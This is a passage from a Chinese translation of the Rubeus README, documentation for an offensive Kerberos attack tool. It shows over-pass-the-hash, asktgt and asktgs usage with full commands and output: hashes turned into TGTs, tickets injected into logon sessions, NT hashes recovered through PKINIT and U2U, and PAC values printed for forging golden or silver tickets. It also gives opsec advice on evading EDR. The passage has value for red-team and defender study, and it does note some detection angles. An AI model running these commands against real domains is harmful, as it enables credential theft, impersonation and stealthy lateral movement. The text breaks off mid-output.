["Abusing Microsoft Kerberos - Sorry you guys don't get it"](https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it/18) 演示文稿)。这种方法将域加入用户的哈希/密钥(rc4\_hmac、aes256\_cts\_hmac\_sha1 等)转换为完整的票据授予票据 (TGT)。 让我们比较一下通过 Mimikatz 的 `sekurlsa::pth` 命令“over-passing-the-hash”与使用 Rubeus 的 `asktgt` 命令(或者如果你愿意,也可以用 [Kekeo](https://github.com/gentilkiwi/kekeo/))。 当使用 `sekurlsa::pth` 进行 over-pass-the-hash 时,Mimikatz 首先使用虚拟凭据创建一个新的[登录类型 9 进程](https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c#L926)——这创建了一个不与当前登录会话交互的新“牺牲”登录会话。然后,它打开具有写入进程内存能力的 LSASS 进程,并将提供的哈希/密钥[修补到相关登录会话的适当部分](https://github.com/gentilkiwi/mimikatz/blob/a0f243b33590751a77b6d6f275313a4fe8d42c82/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c#L566-L600)(在本例中为启动的“牺牲”登录会话)。这导致正常的 Kerberos 身份验证过程像用户正常登录一样启动,将提供的哈希转换为完整的 TGT。 当运行 Rubeus 的 `asktgt` 命令(或 Kekeo 的等效命令)时,使用原始 Kerberos 协议请求 TGT,如果传递了 `/ptt` 标志,则将其应用于当前登录会话。 使用 Mimikatz 方法时,由于你直接操作 LSASS 内存,因此需要管理员权限。如前所述,Mimikatz 的流行也导致此类行为(打开 LSASS 句柄并读/写其内存)成为 EDR 检测和/或阻止的一个重要目标。使用 Rubeus/Kekeo 方法时,由于未接触 LSASS,因此不需要管理员权限。但是,如果将票据应用于当前登录会话(使用 `/ptt`),则当前登录会话的 TGT 将被覆盖。可以使用 `/createnetonly` 命令(通过管理员访问权限创建一个牺牲进程/登录会话,然后对新创建的进程 LUID 使用 `/ptt /ticket:X /luid:0xa..` 来避免此行为。如果使用 Cobalt Strike,使用带有虚拟凭据的 **make\_token** 命令,然后对 Rubeus 检索到的票据使用 **kerberos\_ticket\_use**,将允许你以一种 a) 不需要管理员权限且 b) 不会破坏当前登录会话 TGT 的方式应用新 TGT。 我们的观点是,由于该技术的流行,LSASS 操作方法(目前)更有可能被检测或缓解。然而,Rubeus 方法确实会导致另一种可检测的行为。到端口 88 的 Kerberos 流量通常应该只来自 lsass.exe——从一个异常进程发送这种类型的原始流量,如果能收集到这些信息,可能是可检测的。 **旁注**:上述两种方法都可能被捕获的一种方式是前面提到的“加密降级”检测。要检索 AES 密钥,请使用 Mimikatz 的 `sekurlsa::ekeys` 模块返回所有 Kerberos 加密密钥(`lsadump::dcsync` 也是如此),这在试图逃避某些检测时更好用。 ## 票据请求与续订 票据请求命令的细分: | Command | Description | | ----------- | ----------- | | [asktgt](#asktgt) | 从哈希/密钥或密码请求票据授予票据 (TGT) | | [asktgs](#asktgs) | 从传递的 TGT 请求服务票据 | | [renew](#renew) | 续订(或自动续订)TGT 或服务票据 | | [brute](#brute) | 执行基于 Kerberos 的密码暴力破解攻击。也可以使用 'spray' 代替 'brute' | | [preauthscan](#preauthscan) | 扫描不需要 Kerberos 预身份验证的帐户 | ### asktgt **asktgt** 操作将为指定用户和加密密钥(`/rc4`、`/aes128`、`/aes256` 或 `/des`)构建原始 AS-REQ(TGT 请求)流量。也可以使用 `/password` 标志代替哈希——在这种情况下,`/enctype:X` 将默认为 RC4 进行交换,选项包括 `des|aes128|aes256`。如果未指定 `/domain`,则提取计算机的当前域;如果未指定 `/dc`,则对系统的当前域控制器执行相同操作。如果身份验证成功,则解析生成的 AS-REP 并输出 KRB-CRED(一个 .kirbi,包括用户的 TGT)作为 base64 blob。`/ptt` 标志将“传递票据”并将生成的 Kerberos 凭据应用于当前登录会话。`/luid:0xA..` 标志将票据应用于指定的登录会话 ID(需要提升权限),而不是当前登录会话。 请注意,在主机上请求 TGT 或将其应用于**当前**登录会话不需要提升的权限,只需要目标用户的正确哈希。此外,另一个 opsec 注意事项:一次只能将一个 TGT 应用于当前登录会话,因此在使用 `/ptt` 选项应用新票据时,以前的 TGT 会被擦除。一种解决方法是使用 `/createnetonly:C:\X.exe` 参数(除非指定了 `/show` 标志,否则默认隐藏进程),或者请求票据并使用 `ptt /luid:0xA..` 将其应用于另一个登录会话。 默认情况下,Rubeus 生成的 AS-REQ 与真正的 AS-REQ 之间存在若干差异。要形成更符合真正请求的 AS-REQ,可以使用 `/opsec` 标志,这将首先发送一个没有预身份验证的初始 AS-REQ,如果成功,则解密生成的 AS-REP 并返回 TGT,否则发送带有预身份验证的 AS-REQ。由于此标志旨在使 Rubeus 流量更具隐蔽性,因此默认情况下它不能用于除 `aes256` 以外的任何加密类型,如果使用其他加密类型,将抛出警告并退出。为了允许其他加密类型与 `/opsec` 更改一起使用,存在 `/force` 标志。 使用 `/certificate:X` 参数支持 PKINIT 身份验证。当 PFX 文件中的私钥受密码保护时,可以使用 `/password:X` 参数传递此密码。使用 PKINIT 身份验证时,可以使用 `/getcredentials` 标志自动请求 U2U 服务票据并检索帐户 NT 哈希。 可以使用 `/nopac` 开关请求不带 PAC 的 TGT。 可以使用 `/proxyurl:URL` 参数使用 KDC 代理 ([MS-KKDCP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kkdcp/5bcebb8d-b747-4ee5-9453-428aec1c5c38)) 发出请求。需要 KDC 代理的完整 URL,例如 https://kdcproxy.exmaple.com/kdcproxy 可以使用 `/nopreauth` 标志发送没有预身份验证的 AS-REQ。`/service:SPN` 参数可用于使用 AS-REQ 直接请求服务票据,它将采用 SPN 或用户名。 通过 RC4 哈希为 **dfm.a@testlab.local** 请求票据,并将其应用于当前登录会话: ``` C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.1 [*] Action: Ask TGT [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a' [+] TGT request successful! [*] base64(ticket.kirbi): doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg oAMCAQKhGTAXGwZrcmJ0Z3QbDXRlc3RsYWIubG9jYWyjggRlMIIEYaADAgESoQMCAQKiggRTBIIETwrl zIpKjTT11eteJCn+0rtlKwtTW/8XvoWXy61rOCrOIo16YPiMe4usXoJaOqsvCydMgd6955hT+IoFMyGG VfVxetoM1Oa5aPA2sfzJeogn4RpFBoY5vjjKBzPaTJptPRX7Wjg0o1FTszJET4mhQyLKxQMgprKcc2mz yniQzGPI19O95aSoPpNar+4lKlyBsL4QjSEeBdZQ2/Ab1JVu3eh1xCsWkKUUlabbzeZwo8SG0QkZ0DKk qOD8hx5wbQ+w8emcLvHMIrmg1xO2OPngK76C3daeiS59UVADSz/n3H7Tfuk+EXSdZ8DC4/c8KIZvHsC6 cO/ymVFxyuRJLg7VThl8keZmbWzYei6xAwH7mUAUEA1lk0pEHx12nAHcKILsbS3F9wAcHMNEGe/Xa3UK INJ0q+JvdJpCPo/wgyu7wjKgsdpgUV0siVfpGaxG7yh6s3U2tAlBWnWdGF/Gy/FkOk/hJxhTTHcHa5XE LTaXY9cnraee+llJqmOnHfjPa5+XNTnVtBZjT0SPRnSXfdPG5BgiXYlCjr5ykhF8MdVE1Se+WtEZJuPj lYrCtWo2oEjBbYMb3YGTcWh5+oWNY1QdxSpyFc8IDQOTOCnQ+nsQf78phU7svTBm0b5AqqPD/olz1RYm f4qR+90TcASaQGwHUQbpFnLb2U9BHwNS+SlRwafFT5qlTmXaqoQMMjknospm0+v0U8hd8KbZ4jwK2hM+ vE74bOiAMdjTf5YLDorRyuFUoa7oIaJZTXxsLmqZsBCsUnH5etXTb9vHj7Dl27wyP9snRHIWuE8Rdo9Z zAJK6PESaBcUqhKqkjWLUKDuT2+SCduPVF6+3QJB0xLJrwXKp/MiV418H/pHRoy6JkKKw2m1bw45P8Az l54g75WJqEiAzj/+I64TUfbEFJtd9OHujAKzjMMiKRQKwTKR1Jfb6gTrv6K0GCTJ15W84DeWc47jTutE HbWxuKib3niTTM5YcHZcN6h/V8Zef8r4fdhY20xGCwqlT9X5md96+647bRq/AZDtiAEaVAH5f3QTQen8 o6XpVqSoZxRASEs3oKFfNunBFJ+QxOL4A47iO1JH0wlM7L2Vx+QeDMfqUh3i9S71YBLdHtPflo8ivmNS gf0dIeAE2rHRNQn+q7vvrl4r/Bxy3CikzBWnq9Nff8vUJmZ0MQBc4mBpykuuFtLuEJOELdUzW4uCF/9a JffKDnWk0lIDymImtxqTO0Y/mk0zEQ7RZNUIR3vtrNSO84CjZ/YFYCIdIR5wCzztPSZ0RH7C4lVueBO5 ZoDiWYvPuOQsZHkP2XD+GQtu0hN6MOfLOKGVmNrKs1KRfWhbqnTQudjFSkvgHlgjIslKJDa6WzmSQhdW fPIA9ggjCmQtyB6seiYi9LdJuQ+GiiF2UphTEJ+a5DR6rGYbg4hhd+ru2Z8Lt5rBojliLnedafyZJ15t alU+n8aNdIPXfVmsR3caTXkncNBlo4HWMIHToAMCAQCigcsEgch9gcUwgcKggb8wgbwwgbmgGzAZoAMC ARehEgQQ+zY8adXi2NuvkAxl1ohUOKEPGw1URVNUTEFCLkxPQ0FMohIwEKADAgEBoQkwBxsFZGZtLmGj BwMFAEDhAAClERgPMjAxOTAyMjUyMzA2MDdaphEYDzIwMTkwMjI2MDQwNjA3WqcRGA8yMDE5MDMwNDIz MDYwN1qoDxsNVEVTVExBQi5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNdGVzdGxhYi5sb2NhbA== [*] Action: Import Ticket [+] Ticket successfully imported! [*] Action: Describe Ticket UserName : dfm.a UserRealm : TESTLAB.LOCAL ServiceName : krbtgt/testlab.local ServiceRealm : TESTLAB.LOCAL StartTime : 2/25/2019 3:06:07 PM EndTime : 2/25/2019 8:06:07 PM RenewTill : 3/4/2019 3:06:07 PM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : +zY8adXi2NuvkAxl1ohUOA== ``` 通过 aes256_hmac 哈希为 **dfm.a@testlab.local** 请求票据,启动一个新的隐藏进程并将票据应用于该登录会话。**注意:需要提升权限!** ``` C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Create Process (/netonly) [*] Showing process : False [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 7564 [+] LUID : 0x3c4c241 [*] Action: Ask TGT [*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 [*] Target LUID : 63226433 [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a' [*] Connecting to 192.168.52.100:88 [*] Sent 234 bytes [*] Received 1620 bytes [+] TGT request successful! [*] base64(ticket.kirbi): doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)... [*] Action: Import Ticket [*] Target LUID: 0x3c4c241 [+] Ticket successfully imported! ``` **请注意,/luid 和 /createnetonly 参数需要提升权限!** 使用证书请求票据并使用 `/getcredentials` 检索 NT 哈希: ``` C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE= ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Ask TGT [*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local [*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y' [+] TGT request successful! [*] base64(ticket.kirbi): doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su ...(snip)... YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA== ServiceName : krbtgt/rubeus.ghostpack.local ServiceRealm : RUBEUS.GHOSTPACK.LOCAL UserName : harmj0y UserRealm : RUBEUS.GHOSTPACK.LOCAL StartTime : 14/07/2021 02:25:33 EndTime : 14/07/2021 12:25:33 RenewTill : 21/07/2021 02:25:33 Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : 7MS2ajfZo4HedoK+K3dLcQ== ASREP (key) : 9B1C28A276FBBE557D0F9EE153FE24E1 [*] Getting credentials using U2U CredentialInfo : Version : 0 EncryptionType : rc4_hmac CredentialData : CredentialCount : 1 NTLM : C69A7EA908898C23B72E65329AF7E3E8 ``` ### asktgs **asktgs** 操作将使用指定的 TGT `/ticket:X` 构建/解析原始 TGS-REQ/TGS-REP 服务票据请求。此值可以是 .kirbi 文件的 base64 编码或磁盘上 .kirbi 文件的路径。如果未指定 `/dc`,则提取计算机的当前域控制器并将其用作请求流量的目标。`/ptt` 标志将“传递票据”并将生成的服务票据应用于当前登录会话。**必须**指定一个或多个 `/service:X` SPN,以逗号分隔。 构造的 TGS-REQ 中支持的加密类型将是 RC4_HMAC、AES128_CTS_HMAC_SHA1 和 AES256_CTS_HMAC_SHA1。在这种情况下,KDC 将使用相互支持的最高加密方式来构建返回的服务票据。如果你想强制使用 DES、RC4 或 AES128/256 密钥,请使用 `/enctype:[RC4|AES128|AES256|DES]`。 为了使用企业主体(即 *user@domain.com*)为帐户请求服务票据,可以使用 `/enterprise` 标志。 默认情况下,Rubeus 生成的 TGS-REQ 与真正的 TGS-REQ 之间存在若干差异。要形成更符合真正请求的 TGS-REQ,可以使用 `/opsec` 标志,当为配置了非约束委派的帐户请求服务票据时,这也会导致自动发送额外的 TGS-REQ。由于此标志旨在使 Rubeus 流量更具隐蔽性,因此默认情况下它不能用于除 `aes256` 以外的任何加密类型,如果使用其他加密类型,将抛出警告并退出。 要手动尝试其他场景,可以使用 `/tgs:X` 提供附加到请求主体的额外票据。这也会添加约束委派 KDC 选项,并避免从给定的 SPN `/service:X` 动态确定域,因此实现了 `/targetdomain:X` 参数以强制请求使用提供的域,这对于从外部域请求委派服务票据或具有通常 SPN 的票据很有用。 实现了 `/u2u` 标志以请求用户到用户 (User-to-User) 票据。与 `/tgs:X` 参数(用于提供目标帐户 TGT)一起使用时,`/service:X` 参数可以是所提供 TGT 所属帐户的用户名(带有 `/tgs:X` 参数)。`/targetuser:X` 参数将通过插入包含 `target user's` 用户名的 PA-FOR-USER PA 数据部分来请求任何其他帐户的 PAC。 如果 PAC 是可读的,`/printargs` 标志将打印伪造具有相同 PAC 值的票据所需的参数。这可以通过提供 `/servicekey:X` 参数或使用已知会话密钥执行 `/u2u` 请求来完成。 可以使用 `/proxyurl:URL` 参数使用 KDC 代理 ([MS-KKDCP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kkdcp/5bcebb8d-b747-4ee5-9453-428aec1c5c38)) 发出请求。需要 KDC 代理的完整 URL,例如 https://kdcproxy.exmaple.com/kdcproxy 实现了 `/keyList` 标志用于 Kerberos [Key List Requests](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/732211ae-4891-40d3-b2b6-85ebd6f5ffff)。这些请求必须在 `/ticket:BASE64|FILE.KIRBI` 参数中使用来自只读域控制器的伪造部分 TGT,有关此伪造 TGT 的更多详细信息,请参见 [golden](#golden) 部分。此外,`/spn:x` 字段必须设置为域中的 KRBTGT SPN,例如 KRBTBT/domain.local。 **asktgs** 操作还支持通过使用 LSASS 的 Kerberos 身份验证包请求服务票据。可以通过省略 `/ticket` 参数来启用此操作模式。默认情况下,使用与当前登录会话关联的 TGT。可以通过提供 `/luid:xxx` 参数来定位备用登录会话。定位其他登录会话时需要本地管理员权限。目前,通过 LSASS 只能请求简单的服务票据。诸如 S4U2Self、U2U、密钥列表和 KDC 代理等功能的参数将被忽略。通过 LSASS 请求服务票据通常在 opsec 方面更友好,因为 Kerberos 流量将源自 LSASS。对于 Credential Guard / Remote Credential Guard 处于活动状态的情况,此模式也是必需的,因为在凭据保护下转储 TGT 是不可能的。 为 dfm.a 请求 TGT,然后使用该票据为 "LDAP/primary.testlab.local" 和 "cifs/primary.testlab.local" SPN 请求服务票据: ``` C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Ask TGT [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a' [*] Connecting to 192.168.52.100:88 [*] Sent 230 bytes [*] Received 1537 bytes [+] TGT request successful! [*] base64(ticket.kirbi): doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Ask TGS [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building TGS-REQ request for: 'LDAP/primary.testlab.local' [*] Connecting to 192.168.52.100:88 [*] Sent 1514 bytes [*] Received 1562 bytes [+] TGS request successful! [*] base64(ticket.kirbi): doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)... [*] Action: Import Ticket [+] Ticket successfully imported! [*] Action: Ask TGS [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building TGS-REQ request for: 'cifs/primary.testlab.local' [*] Connecting to 192.168.52.100:88 [*] Sent 1514 bytes [*] Received 1562 bytes [+] TGS request successful! [*] base64(ticket.kirbi): doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)... [*] Action: Import Ticket [+] Ticket successfully imported! C:\Rubeus>Rubeus.exe klist ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: List Kerberos Tickets (Current User) [0] - 0x12 - aes256_cts_hmac_sha1 Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL Client Name : dfm.a @ TESTLAB.LOCAL Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000) [1] - 0x12 - aes256_cts_hmac_sha1 Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM Server Name : LDAP/primary.testlab.local @ TESTLAB.LOCAL Client Name : dfm.a @ TESTLAB.LOCAL Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000) ``` 为启用 AES 的服务帐户请求服务票据,指定我们_只_支持 RC4_HMAC: ``` C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.1 [*] Action: Ask TGS [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Requesting 'rc4_hmac' etype for the service ticket [*] Building TGS-REQ request for: 'roast/me' [+] TGS request successful! [*] base64(ticket.kirbi): doIFrjCCBaqgAwIBBaEDA...(snip)... [*] Action: Describe Ticket UserName : dfm.a UserRealm : TESTLAB.LOCAL ServiceName : roast/me ServiceRealm : TESTLAB.LOCAL StartTime : 2/25/2019 3:10:59 PM EndTime : 2/25/2019 8:09:54 PM RenewTill : 3/4/2019 3:09:54 PM Flags : name_canonicalize, pre_authent, renewable, forwardable KeyType : rc4_hmac Base64(key) : Gg3zZicIl5c50KGecCf8XA== ``` 请求用户到用户服务票据并包含 *PA for User* PA-DATA 部分(一个 S4U2self 请求),可以为任何用户获取可读的 PAC: ``` C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Ask TGS [*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80) [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket [*] Building User-to-User TGS-REQ request for: 'exploitph' [+] TGS request successful! [*] base64(ticket.kirbi): doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su ...(snip)... cGxvaXRwaA== ServiceName : exploitph ServiceRealm : RUBEUS.GHOSTPACK.LOCAL UserName : ccob UserRealm : RUBEUS.GHOSTPACK.LOCAL StartTime : 20/07/2021 22:00:07 EndTime : 21/07/2021 07:59:39 RenewTill : 27/07/2021 21:59:39 Flags : name_canonicalize, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q= Decrypted PAC : LogonInfo : LogonTime : 01/01/1601 00:00:00 LogoffTime : KickOffTime : PasswordLastSet : 20/07/2021 21:58:44 PasswordCanChange : 21/07/2021 21:58:44 PasswordMustChange : 31/08/2021 21:58:44 EffectiveName : ccob FullName : C Cob LogonScript : ProfilePath : HomeDirectory : HomeDirectoryDrive : LogonCount : 0 BadPasswordCount : 0 UserId : 1109 PrimaryGroupId : 513 GroupCount : 1 Groups : 513 UserFlags : (32) EXTRA_SIDS UserSessionKey : 0000000000000000 LogonServer : PDC1 LogonDomainName : RUBEUS LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039 UserAccountControl : (16) NORMAL_ACCOUNT ExtraSIDCount : 1 ExtraSIDs : S-1-18-2 ResourceGroupCount : 0 ClientName : Client Id : 20/07/2021 21:59:39 Client Name : ccob UpnDns : DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL UPN : ccob@rubeus.ghostpack.local Flags : 0 ServerChecksum : Signature Type : KERB_CHECKSUM_HMAC_MD5 Signature : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID) KDCChecksum : Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256 Signature : DA57618BB48EA56371E374B1 (UNVALIDATED) ``` 如果 PAC 可以解密(通过使用用户到用户请求或通过传递 `/servicekey`),则可以打印伪造包含相同 PAC 值的票据所需的参数: ``` C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA== ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Ask TGS [*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80) [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket [*] Building TGS-REQ request for: 'roast/me' [+] TGS request successful! [*] base64(ticket.kirbi): doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su ...(snip)... AgECoQ0wCxsFcm9hc3QbAm1l ServiceName : roast/me ServiceRealm : RUBEUS.GHOSTPACK.LOCAL UserName : harmj0y UserRealm : RUBEUS.GHOSTPACK.LOCAL StartTime : 20/07/2021 00:02:27 EndTime : 20/07/2021 09:57:46 RenewTill : 26/07/2021 23:57:46 Flags : name_canonicalize, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4= Decrypted PAC : LogonInfo : LogonTime : 19/07/2021 23:00:38 LogoffTime : KickOffTime : PasswordLastSet : 14/07/2021 02:07:12 PasswordCanChange : 15/07/2021 02:07:12 PasswordMustChange : EffectiveName : harmj0y FullName : Harm J0y LogonScript : ProfilePath : HomeDirectory : HomeDirectoryDrive : LogonCount : 8 BadPasswordCount : 0 UserId : 1106 PrimaryGroupId : 513 GroupCount : 1 Groups : 513 UserFlags : (32) EXTRA_SIDS UserSessionKey : 0000000000000000 LogonServer : PDC1 LogonDomainName : RUBEUS LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039 UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD ExtraSIDCount : 1 ExtraSIDs : S-1-18-1 ResourceGroupCount : 0 CredentialInfo : Version : 0 EncryptionType : rc4_hmac CredentialData : *** NO KEY *** ClientName : Client Id : 19/07/2021 23:57:46 Client Name : harmj0y UpnDns : DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL UPN : harmj0y@rubeus.ghostpack.local Flags : 0 ServerChecksum : Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256 Signature : 96FA020562EE73B38D31AEEF (VALID) KDCChecksum : Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256 Signature : E7FDCBAF5F580DFB567DF102 (UNVALIDATED) [*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands: /user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD ``` 使用 PKINIT 请求 TGT,然后请求用户到用户服务票据以获取存储在 PAC 中的 NTLM 哈希(手动执行 **asktgt** 的 `/getcredentials` 标志): ``` C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Ask TGS [*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80) [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket [*] Building User-to-User TGS-REQ request for: 'harmj0y' [+] TGS request successful! [*] base64(ticket.kirbi): doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su ...(snip)... RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk= ServiceName : harmj0y ServiceRealm : RUBEUS.GHOSTPACK.LOCAL UserName : harmj0y UserRealm : RUBEUS.GHOSTPACK.LOCAL StartTime : 19/07/2021 23:01:05 EndTime : 20/07/2021 09:00:38 RenewTill : 26/07/2021 23:00:38 Flags : name_canonicalize, pre_authent, renewable, forwardable KeyType : rc4_hmac Base64(key) : Qm9zdwFIINSHAAmqaviuEw== ASREP (key) : CC9D16AB01D1BD0EF9EBD53C8AD536D9 Decrypted PAC : LogonInfo : LogonTime : 19/07/2021 22:59:21 LogoffTime : KickOffTime : PasswordLastSet : 14/07/2021 02:07:12 PasswordCanChange : 15/07/2021 02:07:12 PasswordMustChange : EffectiveName : harmj0y FullName : Harm J0y LogonScript : ProfilePath : HomeDirectory : HomeDirectoryDrive : LogonCount : 7 BadPasswordCount : 0 UserId : 1106 PrimaryGroupId : 513 GroupCount : 1 Groups : 513 UserFlags : (32) EXTRA_SIDS UserSessionKey : 0000000000000000 LogonServer : PDC1 LogonDomainName : RUBEUS LogonDomainId : 